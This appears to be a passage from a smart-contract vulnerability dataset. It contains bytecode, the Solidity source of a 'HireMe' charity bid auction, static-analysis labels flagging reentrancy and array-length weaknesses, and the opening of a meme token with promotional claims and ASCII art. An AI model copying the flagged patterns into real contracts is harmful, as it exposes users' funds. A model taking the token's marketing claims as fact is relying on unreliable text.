4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d18ee24080a7f42bf858eec955c5ee8475eff71d55a1cad93fc71192cdbd141564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,789 |
0x3d9c230381f3cdc913269668dac1bb630827df53
|
pragma solidity 0.4.19;
// The frontend for this smart contract is a dApp hosted at
// https://hire.kohweijie.com
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// The frontend for this smart contract is a dApp hosted at
// https://hire.kohweijie.com
contract HireMe is Ownable {
struct Bid { // Data structure representing an individual bid
bool exists; // 0. Whether the bid exists
uint id; // 1. The ID of the bid.
uint timestamp; // 2. The timestamp of when the bid was made
address bidder; // 3. The address of the bidder
uint amount; // 4. The amount of ETH in the bid
string email; // 5. The bidder's email address
string organisation; // 6. The bidder's organisation
}
event BidMade(uint indexed id, address indexed bidder, uint indexed amount);
event Reclaimed(address indexed bidder, uint indexed amount);
event Donated(uint indexed amount);
Bid[] public bids; // Array of all bids
uint[] public bidIds; // Array of all bid IDs
// Constants which govern the bid prices and auction duration
uint private constant MIN_BID = 1 ether;
uint private constant BID_STEP = 0.01 ether;
uint private constant INITIAL_BIDS = 4;
uint private constant EXPIRY_DAYS_BEFORE = 7 days;
uint private constant EXPIRY_DAYS_AFTER = 3 days;
// For development only
//uint private constant EXPIRY_DAYS_BEFORE = 10 minutes;
//uint private constant EXPIRY_DAYS_AFTER = 10 minutes;
// SHA256 checksum of https://github.com/weijiekoh/hireme/blob/master/AUTHOR.asc
// See the bottom of this file for the contents of AUTHOR.asc
string public constant AUTHORSIGHASH = "8c8b82a2d83a33cb0f45f5f6b22b45c1955f08fc54e7ab4d9e76fb76843c4918";
// Whether the donate() function has been called
bool public donated = false;
// Whether the manuallyEndAuction() function has been called
bool public manuallyEnded = false;
// Tracks the total amount of ETH currently residing in the contract
// balance per address.
mapping (address => uint) public addressBalance;
// The Internet Archive's ETH donation address
address public charityAddress = 0x635599b0ab4b5c6B1392e0a2D1d69cF7d1ddDF02;
// Only the contract owner may end this contract, and may do so only if
// there are 0 bids.
function manuallyEndAuction () public onlyOwner {
require(manuallyEnded == false);
require(bids.length == 0);
manuallyEnded = true;
}
// Place a bid.
function bid(string _email, string _organisation) public payable {
address _bidder = msg.sender;
uint _amount = msg.value;
uint _id = bids.length;
// The auction must not be over
require(!hasExpired() && !manuallyEnded);
// The bidder must be neither the contract owner nor the charity
// donation address
require(_bidder != owner && _bidder != charityAddress);
// The bidder address, email, and organisation must valid
require(_bidder != address(0));
require(bytes(_email).length > 0);
require(bytes(_organisation).length > 0);
// Make sure the amount bid is more than the rolling minimum bid
require(_amount >= calcCurrentMinBid());
// Update the state with the new bid
bids.push(Bid(true, _id, now, _bidder, _amount, _email, _organisation));
bidIds.push(_id);
// Add to, not replace, the state variable which tracks the total
// amount paid per address, because a bidder may make multiple bids
addressBalance[_bidder] = SafeMath.add(addressBalance[_bidder], _amount);
// Emit the event
BidMade(_id, _bidder, _amount);
}
function reclaim () public {
address _caller = msg.sender;
uint _amount = calcAmtReclaimable(_caller);
// There must be at least 2 bids. Note that if there is only 1 bid and
// that bid is the winning bid, it cannot be reclaimed.
require(bids.length >= 2);
// The auction must not have been manually ended
require(!manuallyEnded);
// Make sure the amount to reclaim is more than 0
require(_amount > 0);
// Subtract the amount to be reclaimed from the state variable which
// tracks the total amount paid per address
uint _newTotal = SafeMath.sub(addressBalance[_caller], _amount);
// The amount must not be negative, or the contract is buggy
assert(_newTotal >= 0);
// Update the state to prevent double-spending
addressBalance[_caller] = _newTotal;
// Make the transfer
_caller.transfer(_amount);
// Emit the event
Reclaimed(_caller, _amount);
}
function donate () public {
// donate() can only be called once
assert(donated == false);
// Only the contract owner or the charity address may send the funds to
// charityAddress
require(msg.sender == owner || msg.sender == charityAddress);
// The auction must be over
require(hasExpired());
// If the auction has been manually ended at this point, the contract
// is buggy
assert(!manuallyEnded);
// There must be at least 1 bid, or the contract is buggy
assert(bids.length > 0);
// Calculate the amount to donate
uint _amount;
if (bids.length == 1) {
// If there is only 1 bid, transfer that amount
_amount = bids[0].amount;
} else {
// If there is more than 1 bid, transfer the second highest bid
_amount = bids[SafeMath.sub(bids.length, 2)].amount;
}
// The amount to be donated must be more than 0, or this contract is
// buggy
assert(_amount > 0);
// Prevent double-donating
donated = true;
// Transfer the winning bid amount to charity
charityAddress.transfer(_amount);
Donated(_amount);
}
function calcCurrentMinBid () public view returns (uint) {
if (bids.length == 0) {
return MIN_BID;
} else {
uint _lastBidId = SafeMath.sub(bids.length, 1);
uint _lastBidAmt = bids[_lastBidId].amount;
return SafeMath.add(_lastBidAmt, BID_STEP);
}
}
function calcAmtReclaimable (address _bidder) public view returns (uint) {
// This function calculates the amount that _bidder can get back.
// A. if the auction is over, and _bidder is the winner, they should
// get back the total amount bid minus the second highest bid.
// B. if the auction is not over, and _bidder is not the current
// winner, they should get back the total they had bid
// C. if the auction is ongoing, and _bidder is the current winner,
// they should get back the total amount they had bid minus the top
// bid.
// D. if the auction is ongoing, and _bidder is not the current winner,
// they should get back the total amount they had bid.
uint _totalAmt = addressBalance[_bidder];
if (bids.length == 0) {
return 0;
}
if (bids[SafeMath.sub(bids.length, 1)].bidder == _bidder) {
// If the bidder is the current winner
if (hasExpired()) { // scenario A
uint _secondPrice = bids[SafeMath.sub(bids.length, 2)].amount;
return SafeMath.sub(_totalAmt, _secondPrice);
} else { // scenario C
uint _highestPrice = bids[SafeMath.sub(bids.length, 1)].amount;
return SafeMath.sub(_totalAmt, _highestPrice);
}
} else { // scenarios B and D
// If the bidder is not the current winner
return _totalAmt;
}
}
function getBidIds () public view returns (uint[]) {
return bidIds;
}
// Calcuate the timestamp after which the auction will expire
function expiryTimestamp () public view returns (uint) {
uint _numBids = bids.length;
// There is no expiry if there are no bids
require(_numBids > 0);
// The timestamp of the most recent bid
uint _lastBidTimestamp = bids[SafeMath.sub(_numBids, 1)].timestamp;
if (_numBids <= INITIAL_BIDS) {
return SafeMath.add(_lastBidTimestamp, EXPIRY_DAYS_BEFORE);
} else {
return SafeMath.add(_lastBidTimestamp, EXPIRY_DAYS_AFTER);
}
}
function hasExpired () public view returns (bool) {
uint _numBids = bids.length;
// The auction cannot expire if there are no bids
if (_numBids == 0) {
return false;
} else {
// Compare with the current time
return now >= this.expiryTimestamp();
}
}
}
// Contents of AUTHOR.asc and AUTHOR (remove the backslashes which preface each
// line)
// AUTHOR.asc:
//-----BEGIN PGP SIGNATURE-----
//
//iQIzBAABCAAdBQJak6eBFhxjb250YWN0QGtvaHdlaWppZS5jb20ACgkQkNtDYXzM
//FjKytA/+JF75jH+d/9nEitJKRcsrFgadVjMwNjUt1B7IvoZJqpHj9BSHtKhsVEI5
//iME24rgbr3YRXLi7GbQS+Ovyf3Ks7BHCA/t12PWOVm9zRBEswojZIg1UjTqtYboS
//0xrnrY8A71g1RX/jN4uCQ9FohRMAPzTTV9Gt6XDpB9Uzk0HBkUOpVHPnqxSerzbp
//fSwTCzLgcsTKUJYfeOQMuSwTTXc/btJss82WQpK76xdi5+4hp3tjyZZuY7ruj60N
//g9f9pHafsWRujMhmX0G8btjK/7/cJL/KbFFafb3sA7Xes0uoUbs+pQXTvuMBx2g5
//1/BH63aHXdZC2/767JyR18gZN6PnwsZt7i8CowvDcGMni5f0la4O53HCZEGaHYFf
//IKnJX4LhEJEezcflqSgxm1y7hlUFqC1T7janL0s4rCxoW7iPgNlii62vSzg0TTwH
//9L6v8aYwWgAwfma2o3XWMCjA/K/BIfWd2w+1ex/gvTVCefOxz1zEPdjhWh89fopb
//ydxV4fllXLXoB2wmv305E4eryq4lX40w9WxO7Dxq3yU+fmK8BaXLsjUf4fT9AU1m
//VEo3ndjFXkSELwqTQalxod41j4rYxS6SyxOj6R3/3ejbJIL0kzwKuDlZIkj8Xsfx
//o2b+QtKANMwC2KRZQBnNdnF2XVOCEFW1XZykWPW6FR1iYS6WEJ0=
//=J3JJ
//-----END PGP SIGNATURE-----
// AUTHOR:
//Koh Wei Jie <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c3a0acadb7a2a0b783a8acabb4a6aaa9aaa6eda0acae">[email protected]</a>>
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633ec4de35146101015780634423c5f11461014e57806353b382ea146102e3578063639bbb371461031057806380e9071b1461033d5780638da5cb5b1461035257806390e64d13146103a7578063a4f2613d146103d4578063ade6e2aa14610469578063afcf2fc414610492578063ceacc749146104e7578063d213f10914610510578063d3946ea41461055d578063da9d56d714610572578063ec3e4e6f146105dc578063ed88c68e14610613578063f2fde38b14610628578063f4da6a5414610661575b600080fd5b341561010c57600080fd5b610138600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106ef565b6040518082815260200191505060405180910390f35b341561015957600080fd5b61016f6004808035906020019091905050610707565b60405180881515151581526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018060200183810383528581815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561024a5780601f1061021f5761010080835404028352916020019161024a565b820191906000526020600020905b81548152906001019060200180831161022d57829003601f168201915b50508381038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050995050505050505050505060405180910390f35b34156102ee57600080fd5b6102f6610783565b604051808215151515815260200191505060405180910390f35b341561031b57600080fd5b610323610796565b604051808215151515815260200191505060405180910390f35b341561034857600080fd5b6103506107a9565b005b341561035d57600080fd5b610365610921565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103b257600080fd5b6103ba610946565b604051808215151515815260200191505060405180910390f35b610467600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506109f4565b005b341561047457600080fd5b61047c610d95565b6040518082815260200191505060405180910390f35b341561049d57600080fd5b6104a5610e11565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f257600080fd5b6104fa610e37565b6040518082815260200191505060405180910390f35b341561051b57600080fd5b610547600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ea7565b6040518082815260200191505060405180910390f35b341561056857600080fd5b610570611028565b005b341561057d57600080fd5b6105856110d6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105c85780820151818401526020810190506105ad565b505050509050019250505060405180910390f35b34156105e757600080fd5b6105fd6004808035906020019091905050611134565b6040518082815260200191505060405180910390f35b341561061e57600080fd5b610626611158565b005b341561063357600080fd5b61065f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061138a565b005b341561066c57600080fd5b6106746114df565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106b4578082015181840152602081019050610699565b50505050905090810190601f1680156106e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60046020528060005260406000206000915090505481565b60018181548110151561071657fe5b90600052602060002090600702016000915090508060000160009054906101000a900460ff16908060010154908060020154908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806004015490806005019080600601905087565b600360019054906101000a900460ff1681565b600360009054906101000a900460ff1681565b60008060003392506107ba83610ea7565b91506002600180549050101515156107d157600080fd5b600360019054906101000a900460ff161515156107ed57600080fd5b6000821115156107fc57600080fd5b610845600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361153f565b90506000811015151561085457fe5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156108d857600080fd5b818373ffffffffffffffffffffffffffffffffffffffff167fcab347be18c8c37ef504626a027a12ea6725f491b5f5b154778d8d0c54f7841e60405160405180910390a3505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806001805490509050600081141561096357600091506109f0565b3073ffffffffffffffffffffffffffffffffffffffff1663ade6e2aa6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156109cf57600080fd5b6102c65a03f115156109e057600080fd5b5050506040518051905042101591505b5090565b60008060003392503491506001805490509050610a0f610946565b158015610a295750600360019054906101000a900460ff16155b1515610a3457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610adf5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1515610aea57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2657600080fd5b60008551111515610b3657600080fd5b60008451111515610b4657600080fd5b610b4e610e37565b8210151515610b5c57600080fd5b60018054806001018281610b709190611576565b9160005260206000209060070201600060e0604051908101604052806001151581526020018581526020014281526020018773ffffffffffffffffffffffffffffffffffffffff16815260200186815260200189815260200188815250909190915060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015560608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506080820151816004015560a0820151816005019080519060200190610c739291906115a8565b5060c0820151816006019080519060200190610c909291906115a8565b5050505060028054806001018281610ca89190611628565b916000526020600020900160008390919091505550610d06600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611558565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818373ffffffffffffffffffffffffffffffffffffffff16827f1deb95696ada9b84bb35fed5fed94d6f185f9b547732b7e1b48df32597b5dfba60405160405180910390a45050505050565b60008060006001805490509150600082111515610db157600080fd5b6001610dbe83600161153f565b815481101515610dca57fe5b9060005260206000209060070201600201549050600482111515610dfc57610df58162093a80611558565b9250610e0c565b610e09816203f480611558565b92505b505090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806001805490501415610e5957670de0b6b3a76400009250610ea2565b610e69600180549050600161153f565b9150600182815481101515610e7a57fe5b9060005260206000209060070201600401549050610e9f81662386f26fc10000611558565b92505b505090565b600080600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925060006001805490501415610f065760009350611020565b8473ffffffffffffffffffffffffffffffffffffffff166001610f2f600180549050600161153f565b815481101515610f3b57fe5b906000526020600020906007020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101c57610f91610946565b15610fd9576001610fa8600180549050600261153f565b815481101515610fb457fe5b9060005260206000209060070201600401549150610fd2838361153f565b9350611020565b6001610feb600180549050600161153f565b815481101515610ff757fe5b9060005260206000209060070201600401549050611015838261153f565b9350611020565b8293505b505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108357600080fd5b60001515600360019054906101000a900460ff1615151415156110a557600080fd5b60006001805490501415156110b957600080fd5b6001600360016101000a81548160ff021916908315150217905550565b6110de611654565b600280548060200260200160405190810160405280929190818152602001828054801561112a57602002820191906000526020600020905b815481526020019060010190808311611116575b5050505050905090565b60028181548110151561114357fe5b90600052602060002090016000915090505481565b6000801515600360009054906101000a900460ff16151514151561117857fe5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112205750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561122b57600080fd5b611233610946565b151561123e57600080fd5b600360019054906101000a900460ff1615151561125757fe5b600060018054905011151561126857fe5b60018080549050141561129e576001600081548110151561128557fe5b90600052602060002090600702016004015490506112d1565b60016112b0600180549050600261153f565b8154811015156112bc57fe5b90600052602060002090600702016004015490505b6000811115156112dd57fe5b6001600360006101000a81548160ff021916908315150217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561135a57600080fd5b807fa7035481213199a4d64792e8c2fc7bff2b334e0935d33eaabc063a116485663360405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561142157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060405190810160405280604081526020017f386338623832613264383361333363623066343566356636623232623435633181526020017f393535663038666335346537616234643965373666623736383433633439313881525081565b600082821115151561154d57fe5b818303905092915050565b600080828401905083811015151561156c57fe5b8091505092915050565b8154818355818115116115a3576007028160070283600052602060002091820191016115a29190611668565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115e957805160ff1916838001178555611617565b82800160010185558215611617579182015b828111156116165782518255916020019190600101906115fb565b5b50905061162491906116fa565b5090565b81548183558181151161164f5781836000526020600020918201910161164e91906116fa565b5b505050565b602060405190810160405280600081525090565b6116f791905b808211156116f357600080820160006101000a81549060ff0219169055600182016000905560028201600090556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560048201600090556005820160006116da919061171f565b6006820160006116ea919061171f565b5060070161166e565b5090565b90565b61171c91905b80821115611718576000816000905550600101611700565b5090565b90565b50805460018160011615610100020316600290046000825580601f106117455750611764565b601f01602090049060005260206000209081019061176391906116fa565b5b505600a165627a7a723058201eb1bb80a3d0bdc3265169c0d6ff48165adf58b26fc38d49afcbf34db71389ae0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,790 |
0x54c292ad3e4bfd0fe996f3fba6a9946bc7d07c99
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/**
Welcome to the wednesday rodeo
Liquidity lock & Contract ownership renounce
No blacklist
10% max tx on launch, lifted immediately
---------------------------------------------
▓▓██ ▓▓██
██▓▓██ ██░░██
████ ██▓▓▓▓██ ████▓▓ ██░░██
██░░▓▓ ██▓▓▓▓▓▓██▓▓ ▓▓▓▓▒▒▓▓▓▓▓▓ ██░░██
██░░██ ██▓▓▓▓██▒▒██████▒▒▒▒████▓▓▓▓██████████ ██░░██
██░░██ ████ ██▒▒▒▒▒▒████ ██████▒▒▒▒▒▒▒▒▒▒████ ██░░░░██
██░░██ ██████ ██▓▓▓▓▒▒▓▓▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▓ ██░░░░██
██░░██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██ ██░░▒▒██
██░░██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██ ██░░░░▒▒██
██░░░░██ ▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██ ██░░▒▒▒▒██
██░░░░██ ██▒▒██████████████▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██░░░░▒▒██
██▒▒░░░░██ ████▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▓▓▓▓▓▓▓▓▓▓████░░▒▒░░▒▒██
██▒▒▒▒░░░░████ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████░░░░░░▒▒▒▒██
██▒▒░░░░░░░░▓▓██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██▒▒░░░░░░░░▒▒▒▒██
██▒▒▒▒░░▒▒░░░░░░▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒░░▒▒░░▒▒▒▒██▓▓██
██▒▒▒▒▒▒▒▒░░▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒░░▒▒▒▒▓▓▓▓▓▓▓▓██
██▓▓██▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██▒▒▒▒██▓▓▓▓▓▓▓▓▓▓██
██▓▓████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓████▓▓▓▓▓▓▓▓▓▓██▓▓██
██▓▓▓▓▓▓▓▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓██
██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▓▓▓▓██████▓▓▓▓██▓▓▓▓▓▓██
██▒▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██░░██▓▓██▓▓▓▓████▓▓▓▓▓▓▓▓▓▓██
██▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓██▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
██▒▒▒▒██ ▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒██░░██▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
██▒▒▒▒██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒████▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓██
██▒▒▒▒██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒██▓▓▓▓▓▓██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓██
██▒▒██████ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓▓▓▓▓▓▓██▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓██
████▒▒▒▒░░██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██
██░░░░██░░██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓██ ██▓▓▒▒▒▒▒▒▒▒▒▒▓▓██
▓▓████████ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██ ██▒▒▒▒▒▒▒▒▒▒██
░░ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓██ ██▒▒▒▒▒▒▒▒▓▓▓▓
██▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▒▒▒▒▒▒▓▓▓▓██ ██▒▒▒▒▒▒▒▒██
██▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓██ ██▒▒▒▒▒▒▓▓██
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ██▒▒▒▒▒▒▒▒██
██▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓██ ██▒▒▒▒▒▒▓▓██
██▓▓▓▓██▓▓▓▓▓▓▓▓▓▓████▓▓▓▓▓▓██ ██▒▒▒▒▒▒▓▓██
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ██▒▒▒▒▒▒▓▓▓▓
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ██▒▒▒▒▒▒▓▓▓▓██
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ██▒▒▒▒▒▒▓▓▓▓██
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓██ ██▒▒▒▒▒▒████████
